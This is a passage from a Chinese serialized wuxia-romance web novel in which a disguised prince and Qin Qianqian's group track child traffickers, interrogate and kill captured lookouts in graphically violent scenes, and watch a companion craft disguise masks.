“殿下，我们反复核对，只发现了九十四个茅屋。”杨长乐浑身紧绷，神情凝重。他心里清楚，秦千千那边查出来的是九十七个，可现在不知怎地就少了三座。
白邵禾接过他们连夜绘制的地图，上面标记了附近的地势地貌，还有茅屋的方位。
“昨天得到元德递出来的消息，你们没有核验一遍的吗？”他声音听不出悲喜，杨长乐却直接跪在地上。
“属下失职！”
白邵禾扫了他一眼，让他起来。“下次记得不可轻信她就是了。现在你亲自去看一遍，看看地图是不是标错了。”
杨长乐重重跪安后，接过地图走了。
他走远了才敢在心中泛起嘀咕，那绝对不是他的错觉，殿下真的柔和了好多。
昨夜简则明跟他说殿下变了，他对此还嗤之以鼻。
现在看来，他说的不无道理啊！
不过他丝毫不敢怠慢，抓紧核对地图去了。
白邵禾站在河边，背影孤独又欣长，余下的暗卫谁也不敢上前。他拿出怀中的项链，仔细端详那些闪耀的贝壳。
想起自己置气般“贪污”了晏信的项链，他就突然觉得自己的行为有些幼稚。可能是理智回笼，才让他察觉到有一些不妥。
万一晏信知道这事儿，硬要她的那一条……
那秦千千是一定会给的……
突然被自己的想法气笑，他随手揣回那条项链，不再去向那些尚未发生、也不一定会发生的事情。
眼下让他烦心的事情，可不止这一件。
玄阳道的道人要是真敢阳奉阴违，在宫外做有损天威，又这般伤天害理的事情，白邵禾眼中闪过一丝厌恶。
那到时候，就别怪他不客气了。
秦千千原本以为打探消息这种事情，对她来说那都是手到擒来的事情。结果，走街串巷比她想象难得多。
饶是好脾气的桑风雪，都有些厌倦了。秦千千一抬头，发现天都黑了，就直接带着人回去了。
白邵禾那边收到消息后，就也准备离开。可就在回头望向天边的一刹那，他突然知道那消失的三座茅屋，在哪里了。
“杨长乐，带着人撤离，不要留下任何痕迹。”
天色已晚，他不想让秦千千她们担心，只能先回客栈。可在回去的路上，白邵禾心底升腾起一种迫切却又犹豫不决的感觉。
今天他大张旗鼓的在外面搜索，他笃信秦千千的线人一定会知道这事儿的。只是他不清楚，秦千千会不会跟自己对峙。
伪装了近两个月，他已经开始厌倦做白邵禾了。
可他也不愿主动揭开谎言，他决定把选择权交给秦千千。
说来也是天意弄人，从离开灵川山谷开始，白邵禾就不想再让暗卫随行，可偏偏在璃光海她出了麻烦，让他不得不调用暗卫去找人。
可现在他又不太敢让暗卫远离他们，万一再遭遇什么不测，手中无人用也的确不行。
若是她今天决定跟自己聊聊，那自己就索性把事情和盘托出。一只脚踏进客栈前，白邵禾心中终于下定了决心。
谁知推开房门，就看到所有人在等着他。
秦千千站在窗前正倚窗远眺，听到动静，就转头笑盈盈地看着他：“邵禾兄，快些吃饭吧！吃完我们聊聊。”
白邵禾心下一惊，但却没有表现出来，只淡然点头。
元德看着他神情不对劲，还以为殿下这是累着了。
不过元德不是太担心他露馅。毕竟，秦千千她们这边，上到王老怪，下到冬芸，都累得腰都直不起来。
连秦千千都被累的少言寡语了，那殿下沉默些，也是情有可原。
吃过饭后，秦千千本想直接叫白邵禾出去，却被桃花花绊住脚，问她一个缝衣服的针脚怎么藏。她只好先去桃花花房里，元德就在这个空档，叫走了白邵禾。
“元德，她今天有跟线人碰头吗？”
元德疑惑地摇头，往常他说不准，今天自己可是寸步不离地跟着她的，准保她没有见过线人。
“那就奇怪了，我还以为她知道了暗卫的事情。”白邵禾小声呢喃，这话被元德听了个真切。
只那一瞬间，元德觉得自己后脊梁骨都被万年寒冰冻住了。在知道殿下大张旗鼓地使唤了暗卫后，元德久违地软了双腿。
“公子，此举并不明智啊！您这么久的心血，不能就此白费吧？”元德一脸急切地跟他剖析利弊。“现在您和她这关系，没有好到戳破谎言后
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，还能把酒言欢的程度。”
剩下的话，元德不敢说。
现在告诉她实话，那只会葬送先前所有的努力。
读懂他的最后一句话，白邵禾眼神闪烁，说自己知道了。
可这一闹，殿下和秦千千出去后，元德在屋中坐立难安。原本元德想去找杨长乐问明白缘由，可他不敢出去，生怕这里出现什么变故。
不过她们两个人交谈的气氛，没有元德想象中的焦灼。
反而，非常平和。
“有些事情比我想象当中，复杂的多了。我原本以为今天一天，我就可以把这里的人盘问过来，却没想到，问了不到半数。而且，也没问出来什么有用的线索。”
他不知道秦千千是累的，还是真的身心俱疲，反正整个人看起来就蔫蔫的。
“再勇猛的将军也不敢保证，每一仗都胜利。所以，没有必要为此伤神。”白邵禾与她并肩走着，语气温柔地安慰她。
她嘴角扯出一抹苦涩的笑，“你不知道，灵川山谷的消息传来，我还是失算了。最后，还是靠主人的帮助，才保住了段沙的命。”
“更别说，我今天这里依旧是一事无成，我要什么时候才能独自撑起一片天呢？”
她惆怅地抬头望月，白邵禾望着她，眼神中满是惋惜。
人总归是不知足的，她已经足够出众了。可她的榜样更是那遥不可及的明月，那要到何时才能满足呢？
“那你有没有想过，若你是她，你会喜欢她现在过的日子吗？”
秦千千愣住了，过了没多久，她笑着地摇头：“虽然我不知道主人究竟是为了什么，但那一定是个很大的目标。若我是她，也一定不会后悔的。”
“听你这么说，我突然很想见见她。”白邵禾敛藏起眼底的决绝，以玩笑话说出了自己的真实想法。
可她压根就没有把这话放在心上，反过来安慰起了他。
“我主人做什么都看一个字：缘。缘分到了，哪怕你不认识我、不认识她，她也会去找你的。”
白邵禾哑然失笑，心脏仿佛被抓了一把，痛得他有些上不来气。
难不成，自己的计划从一开始就错了吗？
平时心细如发的人，现在却全然没有察觉他的不对劲，反而突然来了兴致，笑着跟他说：“告诉你一个最有可能见到她的办法，你要先让她知道，你要问的事情是什么。”
主人也不是什么都知道，也不是所有的问题都值得回答的。
“你若真有什么事情，可以先问问我。主人知道的事情，我大概知道八成。”秦千千用肩膀轻轻撞了下他的胳膊，示意他相信自己。
“你知道云岫山吗？”
那个传说有守山派镇守的仙山——云岫山。
山中有秘宝，金银财宝、经书宝卷。其中最重要，也是白邵禾的最终目的，就是那长生秘籍。
秦千千迷茫地瞪大了眼睛：“没听说过。”
是啊，这种事情，她怎么会知道呢？白邵禾在心底自嘲。
90. 太子妃的朝服
其实秦千千找他出来，并不是聊这些事情的。在今日寻访的过程中，她想起一个很重要的事情。
叁余坊过几天要接一个很重要的工程，因此她们得早些赶过去。不然，连秦千千的面子都没用。
“什么事情？”白邵禾疑惑。同时他也很好奇，怎么看起来，姜千秋的手下都并不服气秦千千。
不过，秦千千似乎并不在意这个，她一脸神秘地跟白邵禾说。
“你还不知道南梁朝马上就要有太子妃了吗？那白台镇就是皇后大哥，也就是穆轩岚的舅舅庞庆忠的老家，虽说他们现在久居京都，但老家的一山一水，他们可谓是未曾忘怀。”
她这话倒让白邵禾想起来了，他由于一些陈年旧事，跟母后的母家素来不对付，因此，对庞庆忠的事情还真没那么了解。
在京都庞庆忠也只能混个闲散名称，基本上是没有机会面见皇上的。说起来，南梁朝绞杀人贩的传统，还跟庞庆忠有关系呢。
当年他带着穆轩岚出宫，结果险些让穆轩岚被人贩带走。能从那场天子震怒中，留存性命，已经是皇后能做的最大努力了。
可庞庆忠的女儿，也就是自己的表妹庞舒娴，听说是温良贤德，很会讨母后欢心。而母后有心撮合这桩婚事，白邵禾也是知情的。
他当初并没有别的想法，一国之母，理当恪守贤德，为天下人表率。所以，自己的正妃是谁，白邵禾并未有半分不满。
可现在，他却不这么想了。婚姻大事，怎能草率决断！
“他们的亲事不还没有定下来吗？”
秦千千不赞成地摆手，“现在江湖上的最新消息是，皇上终于要见十几年不曾召见过的庞庆忠了，还指名点姓地要他带上庞舒娴。而且，皇后都着手筹备聘礼了，你说说，那日子还会远吗？”
说完，秦千千还畅快地点了点头。平时她知晓这种江湖轶事，都找不到人倾诉。
一般人不给钱，她自然不愿意说。久而久之，这种好玩的事情只能只能藏在心里。
可白邵禾不是别人。
因此，秦千千非常愿意跟他聊起这些事情。她甚至想，若是白邵禾愿意，那让他来清风酒楼做伙计，也不是不可以。
就当是给自己多个解闷的人，再说月俸花的也不是自己的钱……
“原来是这样啊。”白邵禾意味深长地感叹，“所以庞庆忠在叁余坊给他女儿定做了衣服，这才导致我们去晚的话，就没办法帮我们做了？”
“是啊，那报酬之丰厚，是叁余坊宁愿停摆半年，也要接下的。”
白邵禾悄无声息地岔开话题，至于订婚之事，他对此并不清楚。而京都传来的信笺，也就只有上次的他没有看，难不成，此事就在那封信中？
深夜，元德把信呈上来，白邵禾飞快地看完整封信。可信中并未提及庞家父女的事情。
他皱眉猜测，难不成是父皇决定，在自己凯旋回京那天，再告诉自己联姻的事情？
骤然用力的手，攥皱了信纸，元德赶忙上前询问他怎么了。白邵禾什么都没说，他把信扔给元德，转身去休息了。
南梁朝天家联姻，选人都在暗中进行，等真到觐见到皇上皇后时，其实那个人已然是人中翘楚。这时，只需要再走一个盛大隆重的过场，就可以定下亲事了。
而那个过场，就叫朝拜。朝拜分为大小朝拜，大朝拜是要在朝堂之上，受百官瞻仰；小朝拜则是在后宫设宴，宴请百官及其家眷。
从礼制上来说，大朝拜要比小朝拜庄重的多。
不过不论大小朝拜，其中最重要的当属朝服。有别于文武百官登记森严的朝服，女眷的朝服要更加花样繁哨些。
这次叁余坊，就是要给庞舒娴制作朝服。
白邵禾估算一下时间，他离京前跟父皇允诺的期限，是五个月。
现如今过了一个半月，也就是说，在自己回京前，还有三个月时间。这三个月中，叁余坊就要留全部时间，去做一件所谓的朝服。
可笑。
昨日，秦千千跟他交了底，众人最多还能在这隆北道停留五日。
到时若是没有抓到人贩子，那他们的华服便只能打水漂了。
虽说他并不稀罕什么叁余坊的衣服，可那好歹也是秦千千送的。
再说，他现在十分好奇，那叁余坊，究竟能做出怎样璀璨夺目的朝服。
第二天，秦千千起了个大早，在她的积极鼓舞下，所有人都被她闹了起来。
昨日她们也算是发现了，这里的人极度排外，有些人甚至都不愿意开门，更有甚者看到不熟悉的人，直接掉头跑走了。
所以秦千千决定，今天所有人都去河边茅屋。知道她不愿意耽误时间，白邵禾直接把昨天查到的东西告诉了她、
“昨天我就发现，这里少了三个房子。晚上回去前，我发现远处那个山，在黑夜中是看不到的。”
众人顺着他手指的方向看过去，颇有一种望山跑死马的疲累感。
唯独秦千千意味深长的点头，这点距离对入阁线人来说，的确是可以划分在隆北道属地里。说干就干，秦千千直接带着人往那边赶。
“不是，要不我们留几个人在这里查探一下吧，万一昨日白公子漏了什么线索呢？”桃花花现在找借口的功力，是越发精进了。
“是啊，要不……”白邵禾知道桃花花的意思，他也觉得没必要所有人都过去，便想顺水推舟。
“我相信他。”秦千千目光诚挚地看了眼白邵禾，“桃花，你要是累的话，就留在这里。可冬芸要跟我走，只有她认得那地方。”
桃花花原本想拉着冬芸一起歇歇的，那冬芸必须要走的话，她也只好跟着了。
走了半晌，终于到了山脚下。可在怎么翻过山上却犯了难。
山势陡峭，看起来不是很好攀爬。山的尽头，直直连入河中，那河水泛着幽深碧绿的光，看起来像是深不见底一样。
不管别人怎么选，秦千千是只有一条路可选——爬山。那种水，她是万万不敢游过去的。
原本桑风雪还提议租借个小
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船，可是秦千千却绝望地告诉她，别说这里，她们自打到了这隆北道，她就没有见过一艘船。
“别说船了，你看这附近光秃秃的样子，树木都少得可怜。”
眼前的山上也基本上是岩石裸露，很少有树木。众人闻言，就只能又回到眼前的境地上。看着所有人都在愁眉不展，秦千千当机立断做了决定。
能游过去的，就从那边游过去；不能的，跟着她爬山就是了。再耽误一阵子，天都要黑了。
为了她的安全起见，白邵禾直接表示，他要爬山。而冬芸说她也怕水，只好跟一路同行的桃花花分开。
毕竟，桃花花的水性可是好得很。
分好队伍后，两组人很快就开始行动了。
中午河水还不算太凉，元德率先打头阵，桑风雪和王老怪断后，桃花花游在中间。看着她们游出视线后，秦千千她们才开始行动。
白邵禾找到一个不算那么陡峭的地方，让她们两个先上去。
“冬芸，你先上。我要是走在前面，一失足把你也给撞下去，那问题可就大了。”
冬芸本来还有些怕她的，可听她跟自己开玩笑，就没有那么恐惧了。她二话不说，开始往上爬。
而且让秦千千没想到的是，冬芸身姿矫健，没几下就爬到一个突出的石头平台上，弯腰探头往下看。
那平台距离地面大概三人那么高，看得秦千千心都揪在了一起。
“冬芸，往后站一点！”
“不要这样，危险！”
她和白邵禾不约而同地开口，冬芸赶忙后退，还大声地说，她知道了。山脚下的两人相视一笑，秦千千让他先往上爬。
“比起在后面，我觉得你在我前面更能帮到我。”
果然，这一路几乎是他拉着她上来的。三个人站在那个平台上，地方就稍显紧张了。秦千千已经累的两腿发软，说什么也要歇歇再走。
她让他们两个先走，上面的山都有稀疏的树木，而且坡度跟普通山坡相同，她就不需要白邵禾时时刻刻的帮助了。
白邵禾也知道她要强，就先带着冬芸往前走，反正她在自己眼前，不会让她出什么事情的。
两个人走出百步，秦千千这才起身跟上。冬芸转头看她还有些距离，就拉住白邵禾的衣袖。等他低头看她的时候，冬芸才小声跟他说话。
“公子，你是不是喜欢千千姐姐？”
她眼神澄澈，否则白邵禾会以为这人要威胁自己。他愣神的一瞬间，冬芸心里就有了答案。
身处上位久了，让白邵禾这种人很厌恶被人看穿，更何况她可是一个十多岁的孩子。不过白邵禾看她的神情，就知道她已经弄清楚了。
“你是怎么知道的？”白邵禾转头看了眼秦千千，只能牵着冬芸往前走，始终跟秦千千保持着一定的距离。
“我娘亲不是很会配香料吗？她就是帮那些情投意合的人配香囊的，看得多，我自然看得出来。”冬芸又抬头看了他一眼，“可你很是奇怪，你是不是不敢告诉她啊？”
91. 未曾见过的一面
白邵禾心中一紧，没想到这小丫头片子知道的还挺多。他没有回答这个问题，估计冬芸也不想知道结果。
“那你不妨帮我看看，她喜欢我吗？”
问出口后，白邵禾才发觉自己多可笑，怎么跟她一个小孩儿聊这个话题。甚至还指望她回答自己，真是疯了。
冬芸却一本正经地转头，打量起秦千千。
秦千千不经意间发现，她盯着自己看，“冬芸，看什么呢！”
她赶紧摇头，说没什么。白邵禾索性站在原地秦千千，也不指望冬芸给他说出个所以然来。
秦千千快走到跟前的时候，冬芸才抬头跟他说：“我看出来的那天，再告诉你。”
冬芸只跟桃花花说了，她现在最亲的肯定是桃花花，最怕的就是现在跟她同行的两个人。
这次也着实没办法，要不是她真的怕水，冬芸是不愿意跟这两个人同行的……
于是，她只能沿途找些话题聊，不过秦千千跟上来后，她就不用担心这个事情了。
“我刚刚想着走到你们身边，然后歇一歇的。结果一抬头咱们就有一截距离，你们两个逗我呢吧！”
白邵禾看着她笑得眉眼弯弯，她真是比自己身体还娇贵，这就走了几步路，就开始上气不接下气的了。
他稍显宠溺的笑容，在秦千千眼里，却成了嘲讽。
她攥紧拳头在白邵禾面前挥了一下，“嘲笑我体力差？走，冬芸！咱们两个在前面走，把他甩在身后。”
秦千千一伸胳膊，冬芸立马听话地挽上她的胳膊，还不等白邵禾给自己辩解，秦千千就已经带着冬芸往前面走了。
她似乎，也没有自己想象的吓人！冬芸悄悄在心中嘀咕。
她虽然年纪小，但还是看得出，一行人中的老大是谁。冬芸害怕秦千千，是担心她把自己赶走。
而除了秦千千，她还有些怕白邵禾。她说不出具体的原因，明明这个人表情很随和，可就是让人有种骨子里的害怕。
秦千千抬手揉了揉她的头，“我既然都同意带上你，又怎么会抛下你呢？所以，不用担心这个的。”
认人识人，她还是没问题的。
冬芸脸上闪过一丝无措，但随即就消失不见了。听到这话，她算是彻底放下了心。作为信任，她拉着秦千千的手，又近了两分。
她们边走边说，自然走的就慢了些。白邵禾跟上的时候，就听到她们两个在聊干活的事情。
秦千千在给她安排，回了酒楼后，她能做的活。两个人有商有量的，很想那么回事儿。
白邵禾有些忍俊不禁，秦千千明明还在姜千秋的庇护之下羽翼未丰，现在竟然也要为下一辈打算来日了。
他没有打断二人的谈话，翻过山脊后，视野骤然开阔。他居高临下地看向山脚，那几个芝麻大小的黑点，不就是元德他们？
在他的提示下，秦千千她俩也看到她们，于是三个人这才闷头赶路。可下山的路崎岖不堪，愣是用了两个时辰，才下了山。
在这段时间里，桑风雪和元德已经搜查过那三间茅屋了，果然，在最远的那座小屋中有发现。
“在山顶时，我看到远处还有一些人家，说不准，那里能问到什么线索。”白邵禾心中清楚，那或许就是贼人的岗哨。
他没猜错的话，元德他们已经打草惊蛇了。指不定，去那里就是一场恶战。
因此，他婉拒了秦千千要去打探的提议，反而让桑风雪和元德过去，剩下的人跟他去小屋。
王老怪看向他的眼神，多了一丝考究。这一路上，他算是发现了，白邵禾绝非等闲之辈。
看来，要找个机会跟秦千千说一下了。
刚走进那个茅草房，冬芸就紧张地扯住桃花花的胳膊。耳边的流水声和茅屋发霉的味道，越来越熟悉了。
秦千千和白邵禾打头阵，进了院子直奔里屋。果然，看到了近期修缮过的后窗。看着秦千千要去后窗，白邵禾抓住她胳膊，示意她站在原地。
他单膝蹲下，仔细观察圆木铺设的地面。秦千千跟着蹲下，偏头使劲看，也没发现这早已霉变发黑的木头有什么不对劲儿。
白邵禾却伸手在地上摸了一下，然后抬手给她看。“喏，看出什么了吗？”
“咦！这不是发霉的痕迹吗？”秦千千从袖口抽出手帕，有些嫌弃地抓住他的手腕，帮他擦去指尖的污渍。
他本可以阻拦的，但他由着她这么做。等她擦完，才忍住笑意跟她解释。
“你说对了一半。这除了霉斑，还有些褐色，是血迹干涸。”
听他这么说，秦千千毫不犹豫地把手帕扔了出去，“也就是说，冬芸就是在这里逃跑的？不过过了几天，应该很难找那个死者了。”
白邵禾啼笑皆非地看着她，没想到她这么嫌弃血啊！
想到这里，他突然脸色一沉。他的脑中闪回，自己的地牢中，遍地都是这般血腥之景。若是她见了，岂不得当场昏过去？
回过神来，他惊觉自己在想多么可怕的事情。秦千千怎么会去他的地牢？
眨眼间，他脑中百转千回，眼前盯着地上手帕发愁的秦千千却什么都没有察觉。
“走吧，元德他们应该要回来了。你的手帕，日后我再赔你。”
对于一个孩子来说，故地重游杀人现场，对她来说压力还是太大了。冬芸只进到院中，就不住地发抖。
桃花花只好带着她在门外等待，而王老怪也不知为何不进去，反而是盯着眼前的河发呆。
不止发呆，他还从茅屋栅栏上抽出一根棍子，在河边戳戳挑挑。桃花花为了转移冬芸注意力，就带着她去找王老怪。
“王老怪，你在这儿干嘛呢？”
王老怪头都没回，自顾自地在水中挑拨着绿油油的水草。
“这种水草不是长在这里的。若是被人贩子的船带过来的话，咱们至少会知道，他们是从哪边来的。”
他刚说完，秦千千和白邵禾出了院子，正好听到他这句话。秦千千凑近细看，发现这东西她
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认识。
“这不水蕹菜吗？长在岭南河里，怎么在这里也有？”
虽说这里是河，可终究靠海太近，水蕹菜是没办法长在这里的。这不，河里的那几根水蕹菜已经枯萎发黑了。
王老怪不悦地“啧”了一声，他都没有十足把握，得捞上来看看，她就这么轻而易举判定了？
看出他的不服气，秦千千也颇为不满，“不信拉倒。”她转头就走，要去找桑风雪，没成想竟发现远处的房子起火了。
“哎！”她指着那边，白邵禾却异常淡定地按下她的手。“防火也是咱们的人放的，放心吧。”
结果那边传来一声轻哼，秦千千双手交叉抱胸：“那老头，你就说是不是水蕹菜吧！”
王老怪怎么着都得顶一下嘴的，他一边在河中洗手，一边看热闹地问她：“是。只不过接下来，我们是沿着这条线索北上，还是南下去叁余坊呢？”
秦千千突然熄了火，显而易见，她们肯定是要选择北上的。可她又的的确确，想要送在场的人一份礼物……
看着她低头沉思，白邵禾就给给王老怪递了个眼色，让他见好就收。
“千千！我们捉到了贼人！”桑风雪和元德压着三个人回来，他们都被反绑着手，走到这边后就齐刷刷地跪在地上。
白邵禾打量他们，长相全都是老实巴交的人，身着粗布衣服，有些地方还破了洞。
秦千千回过神，绕着他们打量了两圈，桑风雪想说什么，却被她抬手阻止。
“你们这些人，仗着自己没有子孙后代，就可劲儿做这伤天害理的事情，是吗？”
“你在胡说什么！我们就是普通的农民，你们烧了我们的房子，等着我们报官去抓你吧！”
最左边的人一开口，就把元德气的想上去揍他。刚刚在他的拳脚逼问下，有个人承认，他们就是帮人贩子放风的人。
可那人被他失手打死了，结果剩下三个死活不承认，就是决定嘴硬到底了。
秦千千看向桑风雪，朝她歪了下头，桑风雪直接一脚踢上他的背，那人直接口吐鲜血，倒在了地上。
白邵禾眸色深沉地打量着她，如此果决的她，还真是少见。怪不得，她刚刚把桃花花支开，让她带着冬芸离开了。
那边的秦千千踱步到中间那人面前，饶有兴致地看他汗如雨下，止不住发抖的样子，忍不住浅笑一声。那人疑惑地打量她，秦千千却骤然收起所有表情，黑着脸问他：“你也是种地的吗？”
“……对，我真的……”
秦千千不悦地后退，向下摆了下手。下一瞬间，桑风雪直接刀架那人脖子上，抽刀割断那人的喉管。
鲜血飞溅，撒了最后一个人一身。
饶是处刑过无数人的元德，也有点咋舌。桑风雪的招式真是招招致命，而且下手极为狠戾。白邵禾也无声打量着她，也重新审视着秦千千。
最后一个人，秦千千甚至懒得问，她朝那人挑了下眉。
“我说，我全都说！”
92. 秦千千可不是什么善茬
他们兄弟四人，原本就是这里打渔的渔民。有天遇到了一艘外地来的船，船上下来的人对他们很是阔绰。贪图那些钱，他们就加入了那个组织。
而且组织还不用他们去外地，只需要在这里注意附近的情况就好。而报酬还相当丰厚，他们自然是乐意的不得了。
“哪怕知道这是朝廷严令禁止的事情，你们也要义无反顾地去干？”白邵禾冷着脸问他。
秦千千很是疑惑，自从知道那些人很可能是从岭北来的，她就在脑中思考岭北那些地方的信息，翻来覆去的，竟然没有发现他们露出一点破绽。
“那些人是假装卖什么行进至此的？别告诉我你不知道。”她好脾气消耗殆尽，语气阴沉地问他。
“饶命！我是真不清楚，而且我们也联系不上他们，只有他们来的时候会有人提前通知我们，其他的……”说着说着，这人仿佛想起了什么，“对了，我二哥对大漆过敏，他一靠近那些人，就会浑身过敏发痒。”
这是他能想到最奇怪的事情了，其它的，就算打死他，他也是真的想不出来了。
秦千千后退两步，转身背对着他。白邵禾看得清楚，她这是在思考事情，而那人却以为这是要杀自己的预兆。
“侠女！求求你们别杀我，这两天卖孩子的人还会来，你们若是愿意的话，我一定会帮你们抓住他们的。”
桑风雪上去给了他一脚，把他踹翻在地，使劲踩在他后背：“你还知道他们是卖孩子的？你这种人真是死有余辜。”
不过她也清楚，秦千千没有下令，她自然守着力气呢。只不过先恐吓一下他，像这种人，不能让他死的太痛快。
他还在吱哇乱叫，求爷爷告奶奶的求情，白邵禾面色不悦地瞪着他，那人立马噤声。
白邵禾还在困惑，就那点东西，秦千千应该用不着想那么久吧？
只有割漆匠和修房子的工匠衣服上才会到处沾染上大漆，而割漆匠的身份给他们提供了诸多便利。
首先，割漆匠会频繁迁徙，因此他们出现在各个地方都不会很奇怪。
再者，他们时常需要出入深山老林，那种人迹罕至的地方，一般都是孤零零的一家人，再多也就三两户聚集。在那里拐走一个孩子，再威胁一下孩子双亲，或者干脆下狠手，杀了他们，官府也不一定会知道。
哪怕他们不是靠割漆匠的身份行走江湖，那就是借由工匠这个名头，稍微讲究一些的人家，请的工匠都会把木材处理一下，防止腐朽过快。
“江湖上有那么一群游方匠，他们满天下的跑。说白了，他们就是满天下奔走，帮人修房子。这其中又分为两大类，陆行匠人和船行匠人，其中船行匠人干活更麻利些。”秦千千也想明白了。
“他们会用自己带的船，运送别处好的木材给主家用。显然，这批人，应该就是游船匠人。他们大可以满天下地跑船，其实货物不是木材或工匠，而是船舱中的孩子。”
听到这里，白邵禾就十分确定，她的猜测肯定没错。当初自己府中要新建一个阁楼，也是通过水运送进京城的木头。只不过他没想到，民间也有人能用这种斥资巨大的修建方式了。
秦千千接下来的话，无意间解答了他的这个疑惑。
“岭北物产丰富，再加上生逢盛世，近些年有很多人都敛了很多财，所以，游船工匠也算是他们那里最近兴起的一种风尚。”
她的目光重回那人身上，“你说这两天他们要来，那究竟是什么时候来？上次要交易的那个人，是你们几兄弟去碰头的吧？记得那人的长相吗？”
那人几乎把能说的不能说的全说了。那个买主他也记不清长相，只知道他出手阔绰，身上有股矜贵的气质。至于游船工匠，他昨天接到消息，两天后就来。
也就是，明天。
现在天色已晚，秦千千决定不回去，直接在附近找个地方休息。也就是到了现在，她才问桑风雪，怎么把房子烧了。不然，她们最起码有个歇脚的地方。
桑风雪扫了一眼旁边的桃花花和冬芸，桃花花心领神会地带着冬芸走在前面，不听她们说什么。
待她们走后，桑风雪才说出实情：“那屋中还挂着几张人皮，看起来十分可怖。而且院子中间的大锅中，还烹煮着被冬芸刺伤脖颈的人……”
说到这里，桑风雪跟元德交换了个眼神，两个人都被恶心的不轻。光是听听，秦千千忍不住反胃。
白邵禾也十分难以置信，怪不得一向敛藏情绪的桑风雪，这次都异常愤怒、下手可谓是稳准狠。而他也看得出来，一言不发的元德，其实也在暴起边缘。
怪不得。
他们怎么想的，那就只有当事人知道了。秦千千停下脚步看着被元德牵着绳子拽着的人，“你们为什么要那么做？”
那人抬起萎靡很久的头，脸上露出一阵诡异的笑容：“因为有趣。”之前对秦千千的恐怖荡然无存，他甚至还在恐吓她，“像你这种人，若是落在我们手里，我们一定先奸后杀。”
白邵禾杀意顿起，这人简直就是找死。可她挡在白邵禾身前，阻止他冲上去。
她转身看着那个将死之人，冷笑一声：“我会让你付出代价的，不只为了你做的事，还有这句话。”
白邵禾低头看着身前的人，他怎么忘记了，秦千千可不是什么善茬。
刚刚他们走之前，桑风雪问她怎么处置地上的两具尸体。秦千千看着地上死状骇人的尸体，就是冷笑了一声，然后让王老怪拿出一瓶东西。
她打开瓶子倾倒在尸体上两滴，白邵禾细看才发现，那并不是液体，而是无数细小蠕动纠缠在一起的红色虫子。
不一会儿，尸体就被啃出两个洞，而且那些虫子肉眼可见地在变多。
令他咋舌的是，那虫子把骨头都给吃了。不说骨头，地上沾染了血迹的沙土，也在被啃食殆尽。最终，
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那些虫子消失不见。好像，遁入了泥土中。
白邵禾觉得头皮发麻，一丝痒意从脚底攀爬至天灵盖，让他非常迫切地想要离开那个地方。
众人往外走了二里地，才找到一间破旧的宅子。对于现在的她们来说，不至于风餐露宿，就已经可以接受了。她们决定在这里歇脚。
只不过没有一点粮食，大家都只好饿着肚子。因此今晚大家休息的格外早，桑风雪、白邵禾、元德决定轮流守夜。不过让她们意外的是，王老怪也一晚上没睡。
他在摆弄一些药粉，加一些药水搅和后，变成一种膏状，然后一整晚都在揉捏那一坨巴掌大小的东西。
白邵禾醒来守夜的时候，已经是后半夜了。王老怪手中的东西也逐渐成型，那居然是三张栩栩如生的人皮面具。
而且正是那三个恶人的样貌，只不过乍一看地上三张脸，还是把白邵禾惊到了。不过想想也合理，他们总不能放任门口那疯癫的人去跟人贩子接头。
昨天刚带着那人离开河边，他就跟疯了一样，为了不让他鬼哭狼嚎的，元德用稻草塞住他的嘴。白邵禾自始至终没有想明白，他怎么突然失心疯了。
“之前只听说过易容术，没想到现在亲眼见到了。”长夜漫漫，白邵禾席地而坐，跟王老怪聊了起来。
王老怪抬眼看他坐下，有些傲娇地笑着：“还真不是我说，我这手艺算是天下第二绝！其实……”
刚开口就察觉自己失言，他说话的声音突然停下。白邵禾望过去，看到了意料之中的错愕。他耸耸肩，表示无所谓。
“所以，第一绝是谁？那个所谓的阁主？”无所谓，但明知故问。
王老怪压低声音，朝他嘘了一下，歪头看秦千千还在睡，这才小声跟他说：“不，是那位！”他指了下秦千千。
“虽说这些技术，都是阁主传授给我们两个的。但当初千千才十五岁，就已经做出与阁主面貌相同的面具，装扮上吓别人了。”
这些都是王老怪听人说的，毕竟纵虎岭是他和秦千千的第一次见面。
至于听谁说的，白邵禾心知肚明，肯定是姜千秋。可他心绪一动，这么说的话，秦千千有没有可能假扮别人，或者让别人假扮她呢？
“这种伪装就直接粘贴在脸上吗？那岂不是很难分辨人的真假。”白邵禾装作好奇地问，王老怪不设防，直接告诉了他详情。
“在脸颊边缘是会贴合不紧的，所以你手这么一搓，若是卷边了，那就是假面。”说着，他抬手在白邵禾颌角处擦过，就像是浪荡公子调戏女眷一样，搞得白邵禾下意识打掉了他的手。
“这……，对不起。”反应过来后，他立马道歉。
这种事情，王老怪怎么会放在眼里。他笑着摆手，继续摆弄微调手中柔软的面具。
白邵禾脑中回忆起一幕，桑风雪跟秦千千第一次碰面的时候，她的手确实不经意间划过秦千千的脸颊！
93. 给王老怪开开眼
越接触她，白邵禾就越发现，她远远不止自己眼前的这般，总是会有不同的面貌让他发现。就那现在来说，她居然还会易容术！
而且从平时他人只言片语中，也让他窥探到了一些真相。
姜千秋早些年是真的把秦千千带在身边教养的，不只传授她各项过硬的技艺，还潜移默化教她很多为人处世之道。在她之后，好像没有人能有这个待遇。
至于王老怪和桑风雪，白邵禾心中也有了考量。两个人与姜千秋的际遇，和而不同。
相同的部分，大概是姜千秋有恩于她们二人，这才让她们都对姜千秋崇敬有加，因此愿意赴汤蹈火地帮助秦千千。
不同的地方，大概在跟姜千秋的相处上。王老怪似乎还跟姜千秋学过一段时间，至于桑风雪，她平时话少，白邵禾猜测不出她跟姜千秋的渊源。
就这么想着，转瞬间天光大亮。不知何时，秦千千走到他们两个身边，她弯腰捡起一张脸皮，在手中摆弄。
“你这技术不错呀！”
“那还用你说。”话虽这么说，但王老怪脸上洋溢的喜悦之情，还是昭示了他的想法：得到她的赞扬，他很开心。
“快赶上我的一半了。”秦千千幽幽地补了一句。
王老怪顿时不乐意了，他一把抢过那张脸，“去去去！我这忙了一夜，不是让你在这儿夸你自己的。”
白邵禾神色放松地看她俩斗嘴，几乎要笑出声。
秦千千坐在他身边，让他帮忙评评理：“你看看他这人多过分，我说的是实话还不能说了，来来来，让我给你露一手！”
别说王老怪来了兴致，白邵禾也被钓起了好奇心。王老怪迫不及待地把两个瓶子递给秦千千，他只听过姜千秋对秦千千的超高评价，却从未亲眼见到过。
现在，终于来了机会。
一瓶猪皮粉、一瓶淀粉。秦千千接过瓶子打开闻了闻，撇了撇嘴：“这么讲究？不就只用猪皮粉就好了吗！来来来，把你的酒借我一些。”
